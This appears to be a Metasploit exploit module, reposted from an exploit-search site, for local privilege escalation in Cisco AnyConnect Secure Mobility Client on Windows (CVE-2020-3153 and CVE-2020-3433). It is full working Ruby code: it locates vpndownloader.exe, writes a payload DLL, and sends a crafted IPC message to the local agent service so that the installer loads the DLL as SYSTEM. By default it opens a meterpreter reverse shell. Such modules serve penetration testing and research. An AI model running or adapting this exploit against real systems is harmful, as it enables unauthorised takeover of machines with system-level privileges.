Share
## https://sploitus.com/exploit?id=PACKETSTORM:159420
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
include Msf::Post::Windows::Priv  
include Msf::Post::Windows::FileInfo  
include Msf::Post::File  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Cisco AnyConnect Privilege Escalations (CVE-2020-3153 and CVE-2020-3433)',  
'Description' => %q{  
The installer component of Cisco AnyConnect Secure Mobility Client for Windows  
prior to 4.8.02042 is vulnerable to path traversal and allows local attackers  
to create/overwrite files in arbitrary locations with system level privileges.  
  
The installer component of Cisco AnyConnect Secure Mobility Client for Windows  
prior to 4.9.00086 is vulnerable to a DLL hijacking and allows local attackers  
to execute code on the affected machine with with system level privileges.  
  
Both attacks consist in sending a specially crafted IPC request to the TCP  
port 62522 on the loopback device, which is exposed by the Cisco AnyConnect  
Secure Mobility Agent service. This service will then launch the vulnerable  
installer component (`vpndownloader`), which copies itself to an arbitrary  
location (CVE-2020-3153) or with a supplied DLL (CVE-2020-3433) before being  
executed with system privileges. Since `vpndownloader` is also vulnerable to DLL  
hijacking, a specially crafted DLL (`dbghelp.dll`) is created at the same  
location `vpndownloader` will be copied to get code execution with system  
privileges.  
  
The CVE-2020-3153 exploit has been successfully tested against Cisco AnyConnect  
Secure Mobility Client versions 4.5.04029, 4.5.05030 and 4.7.04056 on Windows 10  
version 1909 (x64) and Windows 7 SP1 (x86); the CVE-2020-3434 exploit has been  
successfully tested against Cisco AnyConnect Secure Mobility Client versions  
4.5.02036, 4.6.03049, 4.7.04056, 4.8.01090 and 4.8.03052 on Windows 10 version  
1909 (x64) and 4.7.4056 on Windows 7 SP1 (x64).  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Yorick Koster', # original PoC CVE-2020-3153, analysis  
'Antoine Goichot (ATGO)', # PoC CVE-2020-3153, original PoC for CVE-2020-3433, update of msf module  
'Christophe De La Fuente' # msf module for CVE-2020-3153  
],  
'Platform' => 'win',  
'Arch' => [ ARCH_X86, ARCH_X64 ],  
'SessionTypes' => [ 'meterpreter' ],  
'Targets' => [  
[  
'Windows x86/x64 with x86 payload',  
{  
'Arch' => ARCH_X86  
}  
]  
],  
'Privileged' => true,  
'References' =>  
[  
['URL', 'https://ssd-disclosure.com/ssd-advisory-cisco-anyconnect-privilege-elevation-through-path-traversal/'],  
['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ac-win-path-traverse-qO4HWBsj'],  
['CVE', '2020-3153'],  
['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-anyconnect-dll-F26WwJW'],  
['CVE', '2020-3433']  
],  
'DisclosureDate' => 'Aug 05 2020',  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'PAYLOAD' => 'windows/meterpreter/reverse_tcp',  
'FileDropperDelay' => 10  
}  
)  
)  
  
register_options [  
OptString.new('INSTALL_PATH', [  
false,  
'Cisco AnyConnect Secure Mobility Client installation path (where \'vpndownloader.exe\''\  
' should be found). It will be automatically detected if not set.'  
]),  
OptEnum.new('CVE', [ true, 'Vulnerability to use', 'CVE-2020-3433', ['CVE-2020-3433', 'CVE-2020-3153']])  
]  
  
register_advanced_options [  
OptBool.new('ForceExploit', [false, 'Override check result', false])  
]  
end  
  
# See AnyConnect IPC protocol articles:  
# - https://www.serializing.me/2016/12/14/anyconnect-elevation-of-privileges-part-1/  
# - https://www.serializing.me/2016/12/20/anyconnect-elevation-of-privileges-part-2/  
class CIPCHeader < BinData::Record  
endian :little  
  
uint32 :id_tag, label: 'ID Tag', value: 0x4353434f  
uint16 :header_length, label: 'Header Length', initial_value: -> { num_bytes }  
uint16 :data_length, label: 'Data Length', initial_value: -> { parent.body.num_bytes }  
uint32 :ipc_repsonse_cb, label: 'IPC response CB', initial_value: 0xFFFFFFFF  
uint32 :msg_user_context, label: 'Message User Context', initial_value: 0x00000000  
uint32 :request_msg_id, label: 'Request Message Id', initial_value: 0x00000002  
uint32 :return_ipc_object, label: 'Return IPC Object', initial_value: 0x00000000  
uint8 :message_type, label: 'Message Type', initial_value: 1  
uint8 :message_id, label: 'Message ID', initial_value: 2  
end  
  
class CIPCTlv < BinData::Record  
endian :big  
  
uint8 :msg_type, label: 'Type'  
uint8 :msg_index, label: 'Index'  
uint16 :msg_length, label: 'Length', initial_value: -> { msg_value.num_bytes }  
stringz :msg_value, label: 'Value', length: -> { msg_length }  
end  
  
class CIPCMessage < BinData::Record  
endian :little  
  
cipc_header :header, label: 'Header'  
array :body, label: 'Body', type: :cipc_tlv, read_until: :eof  
end  
  
def detect_path  
program_files_paths = Set.new([get_env('ProgramFiles')])  
program_files_paths << get_env('ProgramFiles(x86)')  
path = 'Cisco\\Cisco AnyConnect Secure Mobility Client'  
  
program_files_paths.each do |program_files_path|  
next unless file_exist?([program_files_path, path, 'vpndownloader.exe'].join('\\'))  
  
return "#{program_files_path}\\#{path}"  
end  
  
nil  
end  
  
def sanitize_path(path)  
return nil unless path  
  
path = path.strip  
loop do  
break if path.last != '\\'  
  
path.chop!  
end  
path  
end  
  
def check  
install_path = sanitize_path(datastore['INSTALL_PATH'])  
if install_path&.!= ''  
vprint_status("Skipping installation path detection and use provided path: #{install_path}")  
@installation_path = file_exist?([install_path, 'vpndownloader.exe'].join('\\')) ? install_path : nil  
else  
vprint_status('Try to detect installation path...')  
@installation_path = detect_path  
end  
  
unless @installation_path  
return CheckCode.Safe('vpndownloader.exe not found on file system')  
end  
  
file_path = "#{@installation_path}\\vpndownloader.exe"  
vprint_status("Found vpndownloader.exe path: '#{file_path}'")  
  
version = file_version(file_path)  
unless version  
return CheckCode.Unknown('Unable to retrieve vpndownloader.exe file version')  
end  
  
cve_2020_3153 = (datastore['CVE'] == 'CVE-2020-3153')  
  
patched_version_cve_2020_3153 = Gem::Version.new('4.8.02042')  
patched_version_cve_2020_3433 = Gem::Version.new('4.9.00086')  
@ac_version = Gem::Version.new(version.join('.'))  
if @ac_version < patched_version_cve_2020_3153  
return CheckCode.Appears("Cisco AnyConnect version #{@ac_version} < #{patched_version_cve_2020_3153} (CVE-2020-3153 & CVE-2020-3433).")  
elsif (@ac_version < patched_version_cve_2020_3433) && !cve_2020_3153  
return CheckCode.Appears("Cisco AnyConnect version #{@ac_version} < #{patched_version_cve_2020_3433} (CVE-2020-3433).")  
elsif (@ac_version < patched_version_cve_2020_3433) && cve_2020_3153  
return CheckCode.Safe("Cisco AnyConnect version #{@ac_version} >= #{patched_version_cve_2020_3153} (However CVE-2020-3433 can be used).")  
else  
return CheckCode.Safe("Cisco AnyConnect version #{@ac_version} >= #{patched_version_cve_2020_3433}.")  
end  
end  
  
def exploit  
fail_with(Failure::None, 'Session is already elevated') if is_system?  
if !payload.arch.include?(ARCH_X86)  
fail_with(Failure::None, 'Payload architecture is not compatible with this module. Please, select an x86 payload')  
end  
  
check_result = check  
print_status(check_result.message)  
if check_result == CheckCode::Safe  
unless @installation_path  
fail_with(Failure::NoTarget, 'Installation path not found (try to set INSTALL_PATH if automatic detection failed)')  
end  
unless datastore['ForceExploit']  
fail_with(Failure::NotVulnerable, 'Target is not vulnerable (set ForceExploit to override)')  
end  
print_warning('Override check result and attempt exploitation anyway')  
end  
  
cac_cmd = '"CAC-nc-install'  
if @ac_version && @ac_version >= Gem::Version.new('4.7')  
vprint_status('"-ipc" argument needed')  
cac_cmd << "\t-ipc=#{rand_text_numeric(5)}"  
else  
vprint_status('"-ipc" argument not needed')  
end  
  
cve_2020_3153 = (datastore['CVE'] == 'CVE-2020-3153')  
if cve_2020_3153  
program_data_path = get_env('ProgramData')  
dbghelp_path = "#{program_data_path}\\Cisco\\dbghelp.dll"  
else  
temp_path = get_env('TEMP')  
junk = Rex::Text.rand_text_alphanumeric(6)  
temp_path << "\\#{junk}"  
mkdir(temp_path)  
dbghelp_path = "#{temp_path}\\dbghelp.dll"  
end  
  
print_status("Writing the payload to #{dbghelp_path}")  
  
begin  
payload_dll = generate_payload_dll(dll_exitprocess: true)  
write_file(dbghelp_path, payload_dll)  
register_file_for_cleanup(dbghelp_path)  
rescue ::Rex::Post::Meterpreter::RequestError => e  
fail_with(Failure::NotFound, e.message)  
end  
  
if cve_2020_3153  
# vpndownloader.exe will be copied to "C:\ProgramData\Cisco\" (assuming the  
# normal process will copy the file to  
# "C:\ProgramData\Cisco\Cisco AnyConnect Secure Mobility Client\Temp\Installer\XXXX.tmp\")  
register_file_for_cleanup("#{program_data_path}\\Cisco\\vpndownloader.exe")  
junk = Rex::Text.rand_text_alphanumeric(4)  
cac_cmd << "\t#{@installation_path}\\#{junk}\\#{junk}\\#{junk}\\#{junk}\\../../../../vpndownloader.exe\t-\""  
else  
cac_cmd << "\t#{@installation_path}\\vpndownloader.exe\t#{dbghelp_path}\""  
end  
  
vprint_status("IPC Command: #{cac_cmd}")  
  
cipc_msg = CIPCMessage.new  
cipc_msg.body << CIPCTlv.new(  
msg_type: 0,  
msg_index: 2,  
msg_value: cac_cmd  
)  
cipc_msg.body << CIPCTlv.new(  
msg_type: 0,  
msg_index: 6,  
msg_value: "#{@installation_path}\\vpndownloader.exe"  
)  
  
vprint_status('Connecting to the AnyConnect agent on 127.0.0.1:62522')  
begin  
socket = client.net.socket.create(  
Rex::Socket::Parameters.new(  
'PeerHost' => '127.0.0.1',  
'PeerPort' => 62522,  
'Proto' => 'tcp'  
)  
)  
rescue Rex::ConnectionError => e  
fail_with(Failure::Unreachable, e.message)  
end  
  
vprint_status("Send the encoded IPC command (size = #{cipc_msg.num_bytes} bytes)")  
socket.write(cipc_msg.to_binary_s)  
socket.flush  
# Give FileDropper some time to cleanup before handing over to the operator  
Rex.sleep(3)  
ensure  
if socket  
vprint_status('Shutdown the socket')  
socket.shutdown  
end  
end  
  
end